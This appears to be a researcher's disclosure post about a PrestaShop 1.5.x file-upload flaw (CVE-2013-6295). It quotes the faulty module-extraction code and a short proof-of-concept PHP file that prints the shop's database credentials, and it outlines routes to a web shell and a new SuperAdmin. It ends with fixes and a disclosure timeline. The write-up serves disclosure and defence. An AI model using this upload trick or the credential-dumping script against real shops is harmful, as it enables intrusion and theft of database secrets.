How a salesman could hack Prestashop

Continuing my work on analyzing Prestashop security, I found that low level employees profiles can hack Prestashop and possibly the server.
Prestashop (I tested under versions 1.5.4.1 and 1.5.5) had employee default profiles that may use upload module option to get privilege information.
Logistician and salesman profile (with lower privileges than Admin and Superadmin) could use AdminModules to add a new module. This can be very tricky and dangerous because it doesn't require any validation in the file upload. Just zip/tar it and you have a successfully uploaded file into /modules/.

Opening /controllers/admin/AdminModulesController.php you can check that the validation on the module fails.
Take a deeper look into the code:

protected function extractArchive($file, $redirect = true)
{
$zip_folders = array();
$tmp_folder = _PS_MODULE_DIR_.md5(time());
$success = false;
if (substr($file, -4) == '.zip')
{
if (Tools::ZipExtract($file, $tmp_folder))
{
$zip_folders = scandir($tmp_folder);
if (Tools::ZipExtract($file, _PS_MODULE_DIR_))
$success = true;
}
}
else
{
$archive = new Archive_Tar($file);
if ($archive->extract($tmp_folder))
{
$zip_folders = scandir($tmp_folder);
if ($archive->extract(_PS_MODULE_DIR_))
$success = true;
}
}
if (!$success)
$this->errors[] = Tools::displayError('There was an error while extracting the module (file may be corrupted).');
//check if it's a real module
foreach($zip_folders as $folder)
if (!in_array($folder, array('.', '..', '.svn', '.git', '__MACOSX')) && !Module::getInstanceByName($folder))
{
$this->errors[] = Tools::displayError('The \'.$folder.\' you uploaded is not a module');
$this->recursiveDeleteOnDisk(_PS_MODULE_DIR_.$folder);
}
@unlink($file);
$this->recursiveDeleteOnDisk($tmp_folder);
if ($success && $redirect)
Tools::redirectAdmin(self::$currentIndex.'&conf=8&anchor=anchor'.ucfirst($folder).'&token='.$this->token);
return $success;
} 

Notice that the file must be a zip or tar file. So far so good.
It also needs and checks for a folder. What if you don't have it? :-) It allows it and keeps the extracted file in /modules folder.

A compromise logistician, salesman or any other user that have permission to upload a module could upload a PHP shell or any other malicious file to obtain private information.

In my proof-of-concept, I used a default salesman profile account to upload a PHP file (index2.php) that contained a include to /config/settings.inc.php and show me the database details.

include('../config/settings.inc.php');
echo "<h1>Prestashop file upload exploit (need at least logistian or vendor permissions)</h1>";
echo "<h2>By David Sopas @dsopas - labs.davidsopas.com</h2>";
echo "<h3>--------------------------------------------</h3>";
echo "DB Server: " . _DB_SERVER_ . "<br />";
echo "DB Name: " . _DB_NAME_ . "<br />";
echo "DB User: " . _DB_USER_ . "<br />";
echo "DB Pass: " . _DB_PASSWD_ . "<br />";
echo "DB Prefix: " . _DB_PREFIX_ . "<br />";

Check the screens to get a visual proof-of-concept.

You can even use the same method to add a SuperAdmin user and have all the privileges you need.

This also can be used to search for server vulnerabilities and gain root access (if the server is vulnerable). As you can see it's a open door for larger attacks.

Solutions?

• Moderation of lower privileges uploads (or even not allowing it)
• Testing if module is really... a module
• Heuristic analysis of malicious code

I contacted Prestashop and they told me that technically is not a easier thing to do. However they changed the right of their default profiles and deleted the right to add or delete modules (CVE-2013-6295).

Personally I advise all users that admin a Prestashop installation to remove the module permissions on users that don't need this feature, only allowing it on people that you would trust (if this can be possible :-) )

Timeline
07 Oct 2013: Contacted Prestashop security
07 Oct 2013: Prestashop replied telling me that they changed the right of their default profiles
07 Oct 2013: Asked a few more questions about patching - no reply
14 Oct 2013: Asked again about this issue - no reply
29 Oct 2013: Full disclosure